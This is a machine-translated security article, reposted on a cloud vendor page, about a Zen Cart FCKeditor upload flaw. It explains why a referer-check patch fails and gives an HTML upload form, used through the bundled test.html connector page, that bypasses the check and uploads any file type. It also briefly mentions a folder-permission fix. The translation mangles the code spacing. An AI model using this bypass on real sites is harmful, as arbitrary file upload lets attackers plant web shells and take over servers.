Secondary exploitation and repair after zencart editors/fckeditor vulnerability repair

Source: Internet
Author: User

Vulnerability files: editors/fckeditor/editor/filemanager/upload/php/upload. phpThe solution provided on the Internet isSolution: Delete the FCK editor and use another editor or find editors/fckeditor/editor/filemanager/upload/php/upload. the php file is in require ('config. php '); require ('util. php '); Add the following code ---------- // prevent external submission function outsidepost () {$ servername = $ _ SERVER ['server _ name']; $ sub_from = @ $ _ SERVER ['HTTP _ referer']; $ sub_len = strlen ($ servername); $ checkfrom = substr ($ sub_from, 7, $ sub_len ); if ($ checkfrom! = $ Servername) {echo ("you don't outsidepost !"); Exit ;}} outsidepost (); prevents external submissions, but does not prevent internal submissions. Method: 1, open editors/fckeditor/editor/filemanager/browser/default/connectors/test.html 2 and enter <form id = frmUpload enctype = multipart/form-data action = http: // www.2cto.com/editors/fckeditor/editor/filemanager/upload/php/upload. php? Type = Media method = post> Upload a new file: <br> <input type = file name = NewFile size = 50> <br> <input id = btnUpload type = submit value = Upload> </form> then Get Folders and Files an upload form will appear, you can upload any file type. PS: If editors and the uploaded folder are configured with the 403 500 404 permission, the exploitation will be invalid.
Fix: see the previous sentence.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.